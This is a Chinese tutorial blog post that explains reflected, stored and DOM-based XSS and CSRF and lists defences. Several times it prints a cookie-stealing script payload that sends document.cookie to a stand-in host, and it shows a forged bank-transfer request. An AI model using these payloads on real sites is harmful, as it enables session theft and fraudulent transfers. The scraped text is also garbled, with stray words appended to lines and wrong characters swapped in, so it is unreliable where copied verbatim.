反射型 XSS 疑问及延伸（CSRF）

时间 2019-11-09

标签反射 xss 疑问延伸 csrf 栏目 JavaScript 繁體版

原文原文链接

有关反射型 XSS 的疑问

学习 XSS (Cross-Site Scripting，跨站脚本攻击) 的时候能够了解到 XSS 分为三种：持久型 (type-2)，反射型 (type-1) 和基于 DOM 型 (type-0) 。
在看反射型的时候，总结一下大多数帖子给出的解释：恶意脚本自己是做为请求参数发送到站点页面存在漏洞的地方（一般是搜索框），而后脚本反射（出现）在新渲染（或者部分刷新）的页面并执行。javascript

接下来看例子：
用户在一个不防范 XSS 的网站中搜索内容，关键字为 XXX，若是网站内包含 XXX的内容，那么该内容就会被展现出来，若是网站中不包含相关，那么可能会提示 XXX 相关内容不存在。也就是，用户的搜索内容最终都会以某种方式反射到搜索结果中。若是搜索内容为：<script>alert(1)</script>，那么页面就会执行这段 JavaScript 代码，也即该网站存在 XSS 漏洞。php

那么问题来了： 做为不懂 JavaScript 的用户，是不可能本身在搜索框中输入恶意脚本攻击本身的。大部分网上的帖子给出的例子到以上内容为止，解释了什么是反射型 XSS，可是却没有说明如何进行攻击。我猜测是经过例如 www.example.com?search=<script>window.location='http://malicious.com/?data=' + document.cookie</script> 这样的恶意连接作到的，经历一番搜寻求证，仍是在一些博客中有说起的确是这样作的（具体查看文末参考）。html

XSS 小结

上文提到，XSS 能够分为三种，持久型（Persistent），反射型（Reflected），和基于 DOM 型（DOM-Based）。仔细来说一下这三者吧。java

持久型

定义

恶意脚本被攻击者上传到合法的服务器中，并在常规的页面浏览过程当中返回给普通用户并被执行。git

例子

攻击者在一个博客网站中的一篇博客下评论 <script>window.location='http://malicious.com/?data=' + document.cookie</script>，恶意代码就会在全部访问这篇博客评论的用户的浏览器中执行。github

反射型

定义

上文提过了，这里重复一遍：恶意脚本自己是做为请求参数发送到站点页面存在漏洞的地方（一般是搜索框），而后脚本反射（出现）在新渲染（或者部分刷新）的页面并执行。跨域

例子

例子就不重复，开头给出了具体的例子。不过查阅的文章中有张图很形象，这里引用一下
浏览器

基于 DOM 型

定义

基于 DOM 型 XSS 实际上是一种特殊的反射型 XSS，反射型 XSS 的执行过程通过了服务器端（上面的例子中向服务器发了请求），而基于 DOM 的 XSS 没有通过服务器端（恶意代码没有流经服务端），直接经过 JavaScript（并不是攻击者写的恶意脚本，而是来自服务器的 DOM 操做脚本）将数据输出到 HTML 页面中。bash

例子

假设以下表单是让用户选择他的首选语言，默认选项做为参数提供在了 "default" 参数中。服务器

Select your language:

<select><script> document.write("<OPTION value=1>" + document.location.href.substring( document.location.href.indexOf("default=") + 8)+"</OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script></select>
复制代码

使用一下 URL 调用该页面

http://www.some.site/page.html?default=French
复制代码

能够经过向受害者发送如下 URL 来完成基于 DOM 的 XSS 攻击

http://www.some.site/page.html?default=<script>window.location='http://malicious.com/?data=' + document.cookie</script>
复制代码

反射型和持久型区别

最大的区别就是 XSS 恶意代码是否存储在合法服务器中，网友也有提到反射型须要欺骗用户点击连接，而持久型用户访问相关页面就直接触发。

缓解办法

根据攻击原理，可得出以下缓解办法（主要核心是第一条 —— 警戒用户输入）：

验证用户输入或者作内容转义
对于反射型，能够提醒用户当心恶意连接（这个几乎没用。。。）或者浏览器对 URL 作识别（Chrome，Firefox都支持）
对于盗用 Cookie ，设置 HttpOnly 属性来保证 JavaScript 代码没法访问 cookie

XSS 延伸之 CSRF

由于都是 Cross-Site，XSS 和 CSRF 有时候一块儿出现尽管他们并不相同，CSRF 是 Cross-Site Request Forgery (跨站请求伪造)，CSRF 攻击经过假装成受信任用户的请求来利用受信任的网站，无论使用什么方法只要是伪造用户发起的请求均可以称为 CSRF 攻击。

例子

用户访问银行的网站，在 Session 还未过时的状况下（伪造用户身份的关键） ，访问了危险网站，危险网站执行以下代码

$.post('/www.bank.com/transfer?amt=500&transferTo=B, function(data) { } );
复制代码

这时候用户在不知情的状况下转帐给了用户B 500元。

缓解办法

不难看出，以上恶意网站发出的请求是跨域请求，在同源策略（Same Origin Policy）未被禁用时会被拦截，即便攻击者经过 iframe/form 来成功发送该请求（才知道表单容许跨域，由于没法获取表单提交后的结果），服务器端也能够经过检查 Referer 来判断请求来源是否合法。
可是，若是银行使用的是 GET 请求来完成转帐操做，攻击者能够结合 XSS 来作到 CSRF 攻击，只须要借助以上 XSS 办法让用户点击请求的 URL 便可，这种状况下的 CSRF 又叫 XSRF。这种状况下经过改良网站的 API 设计提升 CSRF 攻击的门槛。
对系统的关键操做添加验证码也是有效抵抗 CSRF 攻击的办法，由于 "CSRF 攻击每每是在用户不知情的状况下构造了网络请求。而验证码会强制用户必须与应用进行交互，才能完成最终请求" 。
不过针对 CSRF 最经常使用的方法仍是使用 CSRF-Token ，经过在每次请求的请求头中添加 Token，服务器检查 Token 能够有效防止 CSRF 攻击。

CSRF 与 XSS 的区别

一句话总结：XSS 利用的是网站对用户（输入）的信任，CSRF 利用的是网站对用户网页浏览器的信任。